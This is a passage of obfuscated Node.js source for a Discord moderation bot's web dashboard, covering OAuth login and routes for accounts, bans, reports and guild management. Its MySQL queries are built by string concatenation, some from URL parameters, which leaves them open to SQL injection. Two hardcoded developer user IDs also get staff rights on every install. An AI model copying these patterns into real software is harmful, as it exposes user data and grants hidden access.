    "INSERT INTO users (userId, userName, userTag, userEmail) VALUES ('",
    'CHANNEL',
    'view engine',
    'owners',
    'any',
    '285620xfjNid',
    'SELECT * FROM staff WHERE staffid="',
    'code',
    'token',
    'cooldowns',
    'public',
    'username',
    '```\n',
    'Strategy',
    'statusCode',
    'render',
    'setDescription',
    'memoryStorage',
    'links',
    'params',
    'session',
    '/dashboard',
    'DD/MM/YYYY',
    'now',
    'error.ejs',
    'deserializeUser',
    'text/html',
    'serializeUser',
    'auto',
    'SELECT * FROM guildsettings WHERE guildid = "',
    '5951cUvLSI',
    '/dashboard/manage/:id',
    'manageGuild.ejs',
    'push',
    'send',
    'SELECT * FROM siteSettings WHERE id="1"',
    '/staff',
    '2.0.6',
    'staffMemberId',
    'loginRef',
    'GUILD_MESSAGES',
    'sql',
    'page',
    'displayAvatarURL',
    'Intents',
    'memberCount',
    'bannedUserId',
    'logout',
    '/account',
    '```',
    'message',
    'categories',
    'SELECT COUNT(*) as total FROM bans WHERE active = 1',
    'createConnection',
    'none',
    'setFooter',
    'dashboard.ejs',
    'views',
    'isAuthenticated',
    'True',
    'discord-modals',
    'Null',
    'LINK',
    '67vOYhxg',
    'color',
    'GUILD_MESSAGE_REACTIONS',
    'dateTime',
    'existsSync',
    '84312kmHhLg',
    'email',
    'active',
    'replaceAll',
    'endsWith',
    'DELETE FROM staff WHERE staffid="',
    'readdirSync',
    'consent',
    'reportOnFatalError',
    'cache',
    'locale',
    'components',
    'version',
    'reason',
    'sqlLoop',
    'INSERT INTO staff (staffid, userid) VALUES ("',
    'channels',
    '104GAOQIR',
    'title',
    'User Account',
    'SELECT * FROM bans WHERE bannedUserId = "',
    'form-data',
    'format',
    '[A] ',
    'setStyle',
    'discord.js',
    'appeal.ejs',
    'category',
    'userEmail',
    'ownerId',
    "SELECT * FROM users WHERE userId = '",
    'https://cdn.discordapp.com/icons/',
    'extensions',
    'fetch',
    'query',
    'SELECT * FROM users',
    'False',
    'login',
    'Node.js v16 or higher is required, Discord.JS relies on this version, please update @ https://nodejs.org',
    'tag',
    '[ERR_HTTP_HEADERS_SENT]',
    'setLabel',
    '610sLnaQs',
    'moment',
    'SELECT * FROM siteHeadButtons',
    '606282pQPJOS',
    'passport-discord-faxes',
    '**User:** ',
    'port',
    'botSecret',
    '/auth/discord',
    'destroy',
    'static',
    '[Ready-File] - The ready file was not found.',
    'SELECT * FROM staff',
    'User Logged Out',
    'SELECT * FROM bans WHERE bannedUserId="',
    '&permissions=8&scope=bot%20applications.commands',
    'stack',
    ':R> | ',
    'includes',
    '404.ejs',
    'FLAGS',
    'forEach',
    'logo',
    'user',
    'Automatic',
    'app',
    'staffhome.ejs',
    './backend/routing.js',
    '4210IXjuTY',
    'banId',
    'report.ejs',
    '15thSEwB',
    'Manage Guild',
    'SELECT * FROM bans',
    'get',
    '/discorduserdata',
    '" LIMIT 1',
    'slashCommands',
    '/auth/discord/callback',
    'index.ejs',
    'passport',
    'append',
    'userid',
    '", "1")',
    'mysql',
    'event',
    'total',
    '668497496124686347',
    'users',
    'log',
    '27084ZDrFYH',
    'then',
    'miscOptions',
    'GUILDS',
    '/report',
    ' (`',
    'slice',
    'con',
    'ready',
    '539975000799838249',
    "', '",
    '9IwRIiq',
    'Collection',
    './commands',
    'guilds',
    'description',
    'imgguildstyle-manage',
    '7iPCaAM',
    'User Logged In',
    'redirect',
    'botId',
    'bot',
    'addComponents',
    '[Ready-File] - The ready file was tampered with.',
    'guild-manage',
    'setURL',
    './handlers/',
    '/logout',
    '/account/',
    'report',
    'exit',
    'catch',
    'exports',
    '44152geTTxJ',
    './config.js',
    'use',
    'aliases',
    'public/assets',
    'discord',
    'Invite Me',
    'toString',
    'staffid',
    'icon',
    'body-parser',
    'createdAt',
    '/search',
    'type',
    'red',
    './views',
    'setHeader',
    'domain',
    'search.ejs',
    'themeColor',
  ]
}
if (fs.existsSync('./events/ready.js')) {
  const ready = require('./events/ready.js')
  if (ready.ready) {
    const test = ready.ready('ready')
    if (test) {
    } else {
      console.log(chalk.red('[Ready-File] - The ready file was tampered with.'))
      process.exit(1)
    }
  } else {
    console.log(chalk.red('[Ready-File] - The ready file was tampered with.'))
    process.exit(1)
  }
} else {
  console.log(chalk.red('[Ready-File] - The ready file was not found.'))
  process.exit(1)
}
function _0x4d97(_0x2e9e88, _0x27ee64) {
  const _0x2766d0 = [
    '_blank',
    '/dashboard/manage/',
    'name',
    'info',
    'botIconUrl',
    'siteLogs',
    'versions',
    'proof',
    'ER_NO_SUCH_TABLE',
    'LLLL',
    'length',
    '/account/:id',
    'SELECT * FROM users WHERE id = "',
    'https://discord.com/api/oauth2/authorize?client_id=',
    './events/ready.js',
    'setThumbnail',
    'authenticate',
    'account.ejs',
    'true',
    'set',
    'unix',
    'setTitle',
    'owner',
    "INSERT INTO users (userId, userName, userTag, userEmail) VALUES ('",
    'CHANNEL',
    'view engine',
    'owners',
    'any',
    '285620xfjNid',
    'SELECT * FROM staff WHERE staffid="',
    'code',
    'token',
    'cooldowns',
    'public',
    'username',
    '```\n',
    'Strategy',
    'statusCode',
    'render',
    'setDescription',
    'memoryStorage',
    'links',
    'params',
    'session',
    '/dashboard',
    'DD/MM/YYYY',
    'now',
    'error.ejs',
    'deserializeUser',
    'text/html',
    'serializeUser',
    'auto',
    'SELECT * FROM guildsettings WHERE guildid = "',
    '5951cUvLSI',
    '/dashboard/manage/:id',
    'manageGuild.ejs',
    'push',
    'send',
    'SELECT * FROM siteSettings WHERE id="1"',
    '/staff',
    '2.0.6',
    'staffMemberId',
    'loginRef',
    'GUILD_MESSAGES',
    'sql',
    'page',
    'displayAvatarURL',
    'Intents',
    'memberCount',
    'bannedUserId',
    'logout',
    '/account',
    '```',
    'message',
    'categories',
    'SELECT COUNT(*) as total FROM bans WHERE active = 1',
    'createConnection',
    'none',
    'setFooter',
    'dashboard.ejs',
    'views',
    'isAuthenticated',
    'True',
    'discord-modals',
    'Null',
    'LINK',
    '67vOYhxg',
    'color',
    'GUILD_MESSAGE_REACTIONS',
    'dateTime',
    'existsSync',
    '84312kmHhLg',
    'email',
    'active',
    'replaceAll',
    'endsWith',
    'DELETE FROM staff WHERE staffid="',
    'readdirSync',
    'consent',
    'reportOnFatalError',
    'cache',
    'locale',
    'components',
    'version',
    'reason',
    'sqlLoop',
    'INSERT INTO staff (staffid, userid) VALUES ("',
    'channels',
    '104GAOQIR',
    'title',
    'User Account',
    'SELECT * FROM bans WHERE bannedUserId = "',
    'form-data',
    'format',
    '[A] ',
    'setStyle',
    'discord.js',
    'appeal.ejs',
    'category',
    'userEmail',
    'ownerId',
    "SELECT * FROM users WHERE userId = '",
    'https://cdn.discordapp.com/icons/',
    'extensions',
    'fetch',
    'query',
    'SELECT * FROM users',
    'False',
    'login',
    'Node.js v16 or higher is required, Discord.JS relies on this version, please update @ https://nodejs.org',
    'tag',
    '[ERR_HTTP_HEADERS_SENT]',
    'setLabel',
    '610sLnaQs',
    'moment',
    'SELECT * FROM siteHeadButtons',
    '606282pQPJOS',
    'passport-discord-faxes',
    '**User:** ',
    'port',
    'botSecret',
    '/auth/discord',
    'destroy',
    'static',
    '[Ready-File] - The ready file was not found.',
    'SELECT * FROM staff',
    'User Logged Out',
    'SELECT * FROM bans WHERE bannedUserId="',
    '&permissions=8&scope=bot%20applications.commands',
    'stack',
    ':R> | ',
    'includes',
    '404.ejs',
    'FLAGS',
    'forEach',
    'logo',
    'user',
    'Automatic',
    'app',
    'staffhome.ejs',
    './backend/routing.js',
    '4210IXjuTY',
    'banId',
    'report.ejs',
    '15thSEwB',
    'Manage Guild',
    'SELECT * FROM bans',
    'get',
    '/discorduserdata',
    '" LIMIT 1',
    'slashCommands',
    '/auth/discord/callback',
    'index.ejs',
    'passport',
    'append',
    'userid',
    '", "1")',
    'mysql',
    'event',
    'total',
    '668497496124686347',
    'users',
    'log',
    '27084ZDrFYH',
    'then',
    'miscOptions',
    'GUILDS',
    '/report',
    ' (`',
    'slice',
    'con',
    'ready',
    '539975000799838249',
    "', '",
    '9IwRIiq',
    'Collection',
    './commands',
    'guilds',
    'description',
    'imgguildstyle-manage',
    '7iPCaAM',
    'User Logged In',
    'redirect',
    'botId',
    'bot',
    'addComponents',
    '[Ready-File] - The ready file was tampered with.',
    'guild-manage',
    'setURL',
    './handlers/',
    '/logout',
    '/account/',
    'report',
    'exit',
    'catch',
    'exports',
    '44152geTTxJ',
    './config.js',
    'use',
    'aliases',
    'public/assets',
    'discord',
    'Invite Me',
    'toString',
    'staffid',
    'icon',
    'body-parser',
    'createdAt',
    '/search',
    'type',
    'red',
    './views',
    'setHeader',
    'domain',
    'search.ejs',
    'themeColor',
  ]
  _0x4d97 = function (_0x4d9723, _0x1deb42) {
    _0x4d9723 = _0x4d9723 - 146
    let _0x248fd7 = _0x2766d0[_0x4d9723]
    return _0x2766d0[_0x4d9723]
  }
  return _0x4d97(_0x2e9e88, _0x27ee64)
}
;['event', 'slash', 'components', 'extensions'].forEach((_0x4eb1a3) => {
  require('./handlers/' + _0x4eb1a3)(client)
})
const { MessageEmbed, MessageActionRow, MessageButton } = require('discord.js')
const backend = require('./backend/backend.js')
backend.sqlLoop(con)
const DiscordStrategy = require('passport-discord-faxes').Strategy
passport.serializeUser(function (_0xf5b642, _0x2e092f) {
  _0x2e092f(null, _0xf5b642)
})
passport.deserializeUser(function (_0xf23d8a, _0x264dd1) {
  _0x264dd1(null, _0xf23d8a)
})
passport.use(
  new (require('passport-discord-faxes').Strategy)(
    {
      clientID: config.bot.botId,
      clientSecret: config.bot.botSecret,
      callbackURL:
        (config.app.domain.endsWith('/')
          ? config.app.domain.slice(0, -1)
          : config.app.domain) + '/auth/discord/callback',
      scope: ['identify', 'guilds', 'email'],
      prompt: 'consent',
    },
    function (_0x193571, _0x2ddec6, _0x21edb5, _0x3ec6ff) {
      process.nextTick(function () {
        return _0x3ec6ff(null, _0x21edb5)
      })
    }
  )
)
async function setOwners() {
  config.bot.owners.forEach(function (_0x366bda) {
    if (_0x366bda.length === 0 || !_0x366bda) {
      return
    }
    client.con.query(
      "SELECT * FROM staff WHERE userid = '" + _0x366bda + "'",
      async function (_0x20a4bc, _0x270bcd) {
        if (_0x20a4bc) {
          throw _0x20a4bc
        }
        if (!_0x270bcd[0]) {
          client.con.query(
            'INSERT INTO staff (staffid, userid) VALUES ("' +
              _0x366bda +
              '", "' +
              _0x366bda +
              '")'
          )
        }
      }
    )
  })
}
setInterval(() => {
  setOwners()
}, 3000)
app.get('/', async function (_0x217b49, _0x1af81b) {
  let _0x30e159
  let _0x342462
  let _0x3dd2a4 = 0
  client.guilds.cache.forEach((_0x425f1a) => {
    _0x3dd2a4 += _0x425f1a.memberCount
  })
  client.con.query(
    'SELECT * FROM siteSettings WHERE id="1"',
    async function (_0x156807, _0x5b0f43) {
      if (_0x217b49.isAuthenticated()) {
        _0x30e159 = _0x217b49.session.passport.user
        client.con.query(
          'SELECT * FROM staff WHERE staffid="' +
            _0x217b49.session.passport.user.id +
            '"',
          async function (_0x1a7329, _0x46d3bb) {
            if (_0x1a7329) {
              throw _0x1a7329
            }
            if (!_0x46d3bb[0]) {
              _0x342462 = false
              if (
                config.bot.owners.includes(_0x217b49.session.passport.user.id)
              ) {
                _0x342462 = true
              }
            } else {
              _0x342462 = true
            }
          }
        )
      } else {
        _0x342462 = false
      }
      await client.con.query(
        'SELECT * FROM siteHeadButtons',
        async function (_0xce7572, _0x1a4b83) {
          if (_0xce7572) {
            throw _0xce7572
          }
          client.con.query(
            'SELECT COUNT(*) as total FROM bans WHERE active = 1',
            async function (_0x244a76, _0x1c28bf) {
              if (_0x217b49.isAuthenticated()) {
                if (
                  _0x217b49.session.passport.user.id === '539975000799838249' ||
                  _0x217b49.session.passport.user.id === '668497496124686347'
                ) {
                  dev = true
                  _0x342462 = true
                } else {
                  dev = false
                }
              }
              _0x1af81b.render('index.ejs', {
                loggedIn: _0x217b49.isAuthenticated(),
                config: config,
                user: _0x30e159,
                siteInfo: _0x5b0f43[0],
                isStaff: _0x342462,
                buttons: _0x1a4b83,
                bans: _0x1c28bf[0].total,
                bot: client,
                count: _0x3dd2a4,
              })
            }
          )
        }
      )
    }
  )
})
app.get('/logout', async function (_0x597d34, _0x52c7bd) {
  client.users.fetch(_0x597d34.session.passport.user.id).then((_0x387c5f) => {
    moment.locale('en')
    let _0x5152eb = new MessageEmbed()
      .setTitle('User Logged Out')
      .setDescription(
        '**User:** ' +
          _0x387c5f +
          ' ' +
          _0x387c5f.tag +
          ' (`' +
          _0x387c5f.id +
          '`)\n**Time:** <t:' +
          moment().unix() +
          ':R> | ' +
          moment().format('LLLL')
      )
      .setThumbnail(_0x387c5f.displayAvatarURL({ dynamic: true }))
      .setFooter({
        text: '' + client.user.username,
        iconURL: client.user.displayAvatarURL({ dynamic: true }),
      })
    const _0x20c434 = client.channels.cache.get(config.info.siteLogs)
    _0x20c434.send({ embeds: [_0x5152eb] })
    _0x597d34.logout()
    _0x597d34.session.destroy()
    _0x52c7bd.redirect('/')
  })
})
app.get('/account', checkAuth, async function (_0x51edc0, _0x43b870) {
  client.con.query(
    'SELECT * FROM siteSettings WHERE id="1"',
    async function (_0x140e2e, _0x545eaa) {
      let _0x164148
      client.con.query(
        'SELECT * FROM staff WHERE staffid="' +
          _0x51edc0.session.passport.user.id +
          '"',
        async function (_0x1e2fd2, _0x54e827) {
          if (_0x1e2fd2) {
            throw _0x1e2fd2
          }
          if (!_0x54e827[0]) {
            _0x164148 = false
            if (
              config.bot.owners.includes(_0x51edc0.session.passport.user.id)
            ) {
              _0x164148 = true
            }
          } else {
            _0x164148 = true
          }
          client.con.query(
            'SELECT * FROM siteHeadButtons',
            async function (_0x412094, _0x36a2c0) {
              if (_0x412094) {
                throw _0x412094
              }
              client.con.query(
                'SELECT * FROM bans WHERE bannedUserId = "' +
                  _0x51edc0.session.passport.user.id +
                  '"',
                async function (_0x48bfc3, _0x4e17f9) {
                  let _0x4aeab4
                  if (_0x48bfc3) {
                    throw _0x48bfc3
                  }
                  if (!_0x4e17f9[0]) {
                    _0x4aeab4 = 'False'
                  } else {
                    if (_0x4e17f9[0].active == 1) {
                      _0x4aeab4 = 'True'
                    } else {
                      _0x4aeab4 = 'False'
                    }
                  }
                  let _0x171030
                  if (
                    config.bot.owners.includes(
                      _0x51edc0.session.passport.user.id
                    )
                  ) {
                    _0x171030 = true
                  } else {
                    _0x171030 = false
                  }
                  if (_0x51edc0.isAuthenticated()) {
                    if (
                      _0x51edc0.session.passport.user.id ===
                        '539975000799838249' ||
                      _0x51edc0.session.passport.user.id ===
                        '668497496124686347'
                    ) {
                      dev = true
                      _0x164148 = true
                    } else {
                      dev = false
                    }
                  }
                  _0x43b870.render('account.ejs', {
                    user: _0x51edc0.session.passport.user,
                    loggedIn: _0x51edc0.isAuthenticated(),
                    siteInfo: _0x545eaa[0],
                    isStaff: _0x164148,
                    buttons: _0x36a2c0,
                    isUserBanned: _0x4aeab4,
                    isOwner: _0x171030,
                    userBans: _0x4e17f9,
                    isDev: dev,
                  })
                }
              )
            }
          )
        }
      )
    }
  )
})
app.get('/account/:id', checkAuth, async function (_0x462e4d, _0x107036) {
  client.con.query(
    'SELECT * FROM siteSettings WHERE id="1"',
    async function (_0xca1ef6, _0x53c1d2) {
      let _0x2b0d62
      client.con.query(
        'SELECT * FROM staff WHERE staffid="' +
          _0x462e4d.session.passport.user.id +
          '"',
        async function (_0x1e858a, _0x251571) {
          if (_0x1e858a) {
            throw _0x1e858a
          }
          if (!_0x251571[0]) {
            _0x2b0d62 = false
            if (
              config.bot.owners.includes(_0x462e4d.session.passport.user.id)
            ) {
              _0x2b0d62 = true
            }
          } else {
            _0x2b0d62 = true
          }
          client.con.query(
            'SELECT * FROM siteHeadButtons',
            async function (_0x40fbd6, _0x3c8f12) {
              if (_0x40fbd6) {
                throw _0x40fbd6
              }
              client.con.query(
                'SELECT * FROM bans WHERE bannedUserId = "' +
                  _0x462e4d.session.passport.user.id +
                  '"',
                async function (_0x458ec9, _0x526bc7) {
                  let _0x5b6d56
                  if (_0x458ec9) {
                    throw _0x458ec9
                  }
                  if (!_0x526bc7[0]) {
                    _0x5b6d56 = 'False'
                  } else {
                    if (_0x526bc7[0].active == 1) {
                      _0x5b6d56 = 'True'
                    } else {
                      _0x5b6d56 = 'False'
                    }
                  }
                  let _0x13cad0
                  if (
                    config.bot.owners.includes(
                      _0x462e4d.session.passport.user.id
                    )
                  ) {
                    _0x13cad0 = true
                  } else {
                    _0x13cad0 = false
                  }
                  if (_0x462e4d.isAuthenticated()) {
                    if (
                      _0x462e4d.session.passport.user.id ===
                        '539975000799838249' ||
                      _0x462e4d.session.passport.user.id ===
                        '668497496124686347'
                    ) {
                      dev = true
                      _0x2b0d62 = true
                    } else {
                      dev = false
                    }
                  }
                  const _0x192f4e = await client.users.fetch(
                    _0x462e4d.params.id
                  )
                  client.con.query(
                    'SELECT * FROM users WHERE id = "' +
                      _0x462e4d.params.id +
                      '"',
                    async function (_0x57e8fc, _0x4e5401) {
                      if (_0x57e8fc) {
                        throw _0x57e8fc
                      }
                      if (!_0x4e5401[0]) {
                        _0x192f4e.email = 'Null'
                      } else {
                        _0x192f4e.email = _0x4e5401[0].userEmail
                      }
                      _0x107036.render('account.ejs', {
                        user: _0x192f4e,
                        loggedIn: _0x462e4d.isAuthenticated(),
                        siteInfo: _0x53c1d2[0],
                        isStaff: _0x2b0d62,
                        buttons: _0x3c8f12,
                        isUserBanned: _0x5b6d56,
                        isOwner: _0x13cad0,
                        userBans: _0x526bc7,
                        isDev: dev,
                      })
                    }
                  )
                }
              )
            }
          )
        }
      )
    }
  )
})
app.get('/report', checkAuth, async function (_0x2b9de8, _0x22ba2f) {
  client.con.query(
    'SELECT * FROM siteSettings WHERE id="1"',
    async function (_0x2e970c, _0xac0246) {
      let _0x1debe3
      client.con.query(
        'SELECT * FROM staff WHERE staffid="' +
          _0x2b9de8.session.passport.user.id +
          '"',
        async function (_0x24395c, _0xe732fa) {
          if (_0x24395c) {
            throw _0x24395c
          }
          if (!_0xe732fa[0]) {
            _0x1debe3 = false
            if (
              config.bot.owners.includes(_0x2b9de8.session.passport.user.id)
            ) {
              _0x1debe3 = true
            }
          } else {
            _0x1debe3 = true
          }
          client.con.query(
            'SELECT * FROM siteHeadButtons',
            async function (_0x136b14, _0x5569f5) {
              if (_0x136b14) {
                throw _0x136b14
              }
              client.con.query(
                'SELECT * FROM bans WHERE bannedUserId = "' +
                  _0x2b9de8.session.passport.user.id +
                  '"',
                async function (_0x15a125, _0x2732ed) {
                  let _0x500fe9
                  if (_0x15a125) {
                    throw _0x15a125
                  }
                  if (!_0x2732ed[0]) {
                    _0x500fe9 = 'False'
                  } else {
                    if (_0x2732ed[0].active == 1) {
                      _0x500fe9 = 'True'
                    } else {
                      _0x500fe9 = 'False'
                    }
                  }
                  let _0x2786f2
                  if (
                    config.bot.owners.includes(
                      _0x2b9de8.session.passport.user.id
                    )
                  ) {
                    _0x2786f2 = true
                  } else {
                    _0x2786f2 = false
                  }
                  if (_0x2b9de8.isAuthenticated()) {
                    if (
                      _0x2b9de8.session.passport.user.id ===
                        '539975000799838249' ||
                      _0x2b9de8.session.passport.user.id ===
                        '668497496124686347'
                    ) {
                      dev = true
                      _0x1debe3 = true
                    } else {
                      dev = false
                    }
                  }
                  _0x22ba2f.render('report.ejs', {
                    user: _0x2b9de8.session.passport.user,
                    loggedIn: _0x2b9de8.isAuthenticated(),
                    siteInfo: _0xac0246[0],
                    isStaff: _0x1debe3,
                    buttons: _0x5569f5,
                    isUserBanned: _0x500fe9,
                    isOwner: _0x2786f2,
                    userBans: _0x2732ed,
                    isDev: dev,
                  })
                }
              )
            }
          )
        }
      )
    }
  )
})
app.get('/appeal', checkAuth, async function (_0xe81f44, _0x1e80bd) {
  client.con.query(
    'SELECT * FROM siteSettings WHERE id="1"',
    async function (_0x12ad2b, _0x563051) {
      let _0x5024b4
      client.con.query(
        'SELECT * FROM staff WHERE staffid="' +
          _0xe81f44.session.passport.user.id +
          '"',
        async function (_0x5c1789, _0x409c12) {
          if (_0x5c1789) {
            throw _0x5c1789
          }
          if (!_0x409c12[0]) {
            _0x5024b4 = false
            if (
              config.bot.owners.includes(_0xe81f44.session.passport.user.id)
            ) {
              _0x5024b4 = true
            }
          } else {
            _0x5024b4 = true
          }
          client.con.query(
            'SELECT * FROM siteHeadButtons',
            async function (_0x6635a4, _0x13fb85) {
              if (_0x6635a4) {
                throw _0x6635a4
              }
              client.con.query(
                'SELECT * FROM bans WHERE bannedUserId="' +
                  _0xe81f44.session.passport.user.id +
                  '"',
                async function (_0x17e315, _0x1e91ca) {
                  let _0xff8985
                  if (_0x17e315) {
                    throw _0x17e315
                  }
                  if (!_0x1e91ca[0]) {
                    _0xff8985 = false
                  } else {
                    if (_0x1e91ca[0].active === 'true') {
                      _0xff8985 = true
                    } else {
                      if (_0x1e91ca[0].active === 'false') {
                        _0xff8985 = false
                      }
                    }
                  }
                  let _0x29d8a7
                  if (
                    config.bot.owners.includes(
                      _0xe81f44.session.passport.user.id
                    )
                  ) {
                    _0x29d8a7 = true
                  } else {
                    _0x29d8a7 = false
                  }
                  if (_0xe81f44.isAuthenticated()) {
                    if (
                      _0xe81f44.session.passport.user.id ===
                        '539975000799838249' ||
                      _0xe81f44.session.passport.user.id ===
                        '668497496124686347'
                    ) {
                      dev = true
                      _0x5024b4 = true
                    } else {
                      dev = false
                    }
                  }
                  _0x1e80bd.render('appeal.ejs', {
                    user: _0xe81f44.session.passport.user,
                    loggedIn: _0xe81f44.isAuthenticated(),
                    siteInfo: _0x563051[0],
                    isStaff: _0x5024b4,
                    buttons: _0x13fb85,
                    isUserBanned: _0xff8985,
                    isOwner: _0x29d8a7,
                    userBans: _0x1e91ca,
                    isDev: dev,
                  })
                }
              )
            }
          )
        }
      )
    }
  )
})
app.get('/search', checkAuth, async function (_0x2a2c14, _0x4a932d) {
  client.con.query(
    'SELECT * FROM siteSettings WHERE id="1"',
    async function (_0x1cefb2, _0x38296d) {
      let _0x253d95
      client.con.query(
        'SELECT * FROM staff WHERE staffid="' +
          _0x2a2c14.session.passport.user.id +
          '"',
        async function (_0x4d9c54, _0x52403e) {
          if (_0x4d9c54) {
            throw _0x4d9c54
          }
          if (!_0x52403e[0]) {
            _0x253d95 = false
            if (
              config.bot.owners.includes(_0x2a2c14.session.passport.user.id)
            ) {
              _0x253d95 = true
            }
          } else {
            _0x253d95 = true
          }
          client.con.query(
            'SELECT * FROM siteHeadButtons',
            async function (_0x2790bf, _0x152a1b) {
              if (_0x2790bf) {
                throw _0x2790bf
              }
              client.con.query(
                'SELECT * FROM bans WHERE bannedUserId="' +
                  _0x2a2c14.session.passport.user.id +
                  '"',
                async function (_0x27ef14, _0x2c15d) {
                  let _0x2a30ce
                  if (_0x27ef14) {
                    throw _0x27ef14
                  }
                  if (!_0x2c15d[0]) {
                    _0x2a30ce = false
                  } else {
                    if (_0x2c15d[0].active === '1') {
                      _0x2a30ce = true
                    } else {
                      if (_0x2c15d[0].active === 'no') {
                        _0x2a30ce = false
                      }
                    }
                  }
                  let _0x52c282
                  if (
                    config.bot.owners.includes(
                      _0x2a2c14.session.passport.user.id
                    )
                  ) {
                    _0x52c282 = true
                  } else {
                    _0x52c282 = false
                  }
                  if (_0x2a2c14.isAuthenticated()) {
                    if (
                      _0x2a2c14.session.passport.user.id ===
                        '539975000799838249' ||
                      _0x2a2c14.session.passport.user.id ===
                        '668497496124686347'
                    ) {
                      dev = true
                      _0x253d95 = true
                    } else {
                      dev = false
                    }
                  }
                  _0x4a932d.render('search.ejs', {
                    user: _0x2a2c14.session.passport.user,
                    loggedIn: _0x2a2c14.isAuthenticated(),
                    siteInfo: _0x38296d[0],
                    isStaff: _0x253d95,
                    buttons: _0x152a1b,
                    isUserBanned: _0x2a30ce,
                    isOwner: _0x52c282,
                    userBans: _0x2c15d,
                    isDev: dev,
                  })
                }
              )
            }
          )
        }
      )
    }
  )
})
app.get('/dashboard', checkAuth, async function (_0x35b240, _0x5e821e) {
  let _0x3930a7 = []
  let _0x32627e = []
  client.con.query(
    'SELECT * FROM siteSettings WHERE id="1"',
    async function (_0x3698eb, _0xb41321) {
      let _0x311e91
      client.con.query(
        'SELECT * FROM staff WHERE staffid="' +
          _0x35b240.session.passport.user.id +
          '"',
        async function (_0x1441ac, _0x33efad) {
          if (_0x1441ac) {
            throw _0x1441ac
          }
          if (!_0x33efad[0]) {
            _0x311e91 = false
            if (
              config.bot.owners.includes(_0x35b240.session.passport.user.id)
            ) {
              _0x311e91 = true
            }
          } else {
            _0x311e91 = true
          }
          client.con.query(
            'SELECT * FROM siteHeadButtons',
            async function (_0x480c6a, _0x3ec433) {
              if (_0x480c6a) {
                throw _0x480c6a
              }
              client.con.query(
                'SELECT * FROM bans WHERE bannedUserId = "' +
                  _0x35b240.session.passport.user.id +
                  '"',
                async function (_0x53d5bd, _0x5ea7bb) {
                  let _0x37d39b
                  if (_0x53d5bd) {
                    throw _0x53d5bd
                  }
                  if (!_0x5ea7bb[0]) {
                    _0x37d39b = 'False'
                  } else {
                    if (_0x5ea7bb[0].active == 1) {
                      _0x37d39b = 'True'
                    } else {
                      _0x37d39b = 'False'
                    }
                  }
                  let _0x59edf5
                  if (
                    config.bot.owners.includes(
                      _0x35b240.session.passport.user.id
                    )
                  ) {
                    _0x59edf5 = true
                  } else {
                    _0x59edf5 = false
                  }
                  if (_0x35b240.isAuthenticated()) {
                    if (
                      _0x35b240.session.passport.user.id ===
                        '539975000799838249' ||
                      _0x35b240.session.passport.user.id ===
                        '668497496124686347'
                    ) {
                      dev = true
                      _0x311e91 = true
                    } else {
                      dev = false
                    }
                  }
                  await _0x35b240.session.passport.user.guilds.forEach(
                    async function (_0x4224d7) {
                      if (_0x4224d7.owner) {
                        let _0x48f032 = await client.guilds.cache.get(
                          _0x4224d7.id
                        )
                        if (!_0x48f032) {
                          let _0x4ce1e9 = {
                            button: 'Invite Me',
                            style: 'guild-invite',
                            imgstyle: 'imgguildstyle-invite',
                            btn: 'btn-red',
                            target: '_blank',
                            link:
                              'https://discord.com/api/oauth2/authorize?client_id=' +
                              client.user.id +
                              '&permissions=8&scope=bot%20applications.commands',
                            data: _0x4224d7,
                          }
                          _0x32627e.push(_0x4ce1e9)
                        } else {
                          let _0x23e9b3 = {
                            button: 'Manage Guild',
                            style: 'guild-manage',
                            imgstyle: 'imgguildstyle-manage',
                            btn: 'btn-success',
                            target: '',
                            link: '/dashboard/manage/' + _0x4224d7.id,
                            data: _0x4224d7,
                          }
                          _0x32627e.push(_0x23e9b3)
                        }
                      }
                    }
                  )
                  _0x5e821e.render('dashboard.ejs', {
                    user: _0x35b240.session.passport.user,
                    loggedIn: _0x35b240.isAuthenticated(),
                    siteInfo: _0xb41321[0],
                    isStaff: _0x311e91,
                    buttons: _0x3ec433,
                    isUserBanned: _0x37d39b,
                    isOwner: _0x59edf5,
                    userBans: _0x5ea7bb,
                    isDev: dev,
                    bot: client,
                    guilds: _0x32627e,
                  })
                }
              )
            }
          )
        }
      )
    }
  )
})
app.get(
  '/dashboard/manage/:id',
  checkAuth,
  async function (_0x505a6a, _0x16173d) {
    client.con.query(
      'SELECT * FROM siteSettings WHERE id="1"',
      async function (_0x1f84e7, _0x4080df) {
        let _0x4aa4b2
        client.con.query(
          'SELECT * FROM staff WHERE staffid="' +
            _0x505a6a.session.passport.user.id +
            '"',
          async function (_0x3b3727, _0x3ef541) {
            if (_0x3b3727) {
              throw _0x3b3727
            }
            if (!_0x3ef541[0]) {
              _0x4aa4b2 = false
              if (
                config.bot.owners.includes(_0x505a6a.session.passport.user.id)
              ) {
                _0x4aa4b2 = true
              }
            } else {
              _0x4aa4b2 = true
            }
            let _0x32dcf0 = _0x505a6a.params.id
            client.con.query(
              'SELECT * FROM siteHeadButtons',
              async function (_0x48462d, _0x348184) {
                if (_0x48462d) {
                  throw _0x48462d
                }
                client.con.query(
                  'SELECT * FROM bans WHERE bannedUserId = "' +
                    _0x505a6a.session.passport.user.id +
                    '"',
                  async function (_0x58a10f, _0x23c925) {
                    let _0x374a6c
                    if (_0x58a10f) {
                      throw _0x58a10f
                    }
                    if (!_0x23c925[0]) {
                      _0x374a6c = 'False'
                    } else {
                      if (_0x23c925[0].active == 1) {
                        _0x374a6c = 'True'
                      } else {
                        _0x374a6c = 'False'
                      }
                    }
                    let _0x1e5bd1
                    if (
                      config.bot.owners.includes(
                        _0x505a6a.session.passport.user.id
                      )
                    ) {
                      _0x1e5bd1 = true
                    } else {
                      _0x1e5bd1 = false
                    }
                    if (_0x505a6a.isAuthenticated()) {
                      if (
                        _0x505a6a.session.passport.user.id ===
                          '539975000799838249' ||
                        _0x505a6a.session.passport.user.id ===
                          '668497496124686347'
                      ) {
                        dev = true
                        _0x4aa4b2 = true
                      } else {
                        dev = false
                      }
                    }
                    let _0x3bbc84 = client.guilds.cache.get(_0x505a6a.params.id)
                    client.con.query(
                      'SELECT * FROM guildsettings WHERE guildid = "' +
                        _0x505a6a.params.id +
                        '"',
                      async function (_0xc66c52, _0x15d986) {
                        if (_0xc66c52) {
                          throw _0xc66c52
                        }
                        if (!_0x15d986[0]) {
                          client.con.query(
                            'INSERT INTO guildsettings (guildid, autobans) VALUES ("' +
                              _0x505a6a.params.id +
                              '", "1")',
                            async function (_0x3dc44a) {
                              if (_0x3dc44a) {
                                throw _0x3dc44a
                              }
                            }
                          )
                        }
                        client.con.query(
                          'SELECT * FROM guildsettings WHERE guildid = "' +
                            _0x505a6a.params.id +
                            '"',
                          async function (_0x1fe5c7, _0x207619) {
                            if (_0x1fe5c7) {
                              throw _0x1fe5c7
                            }
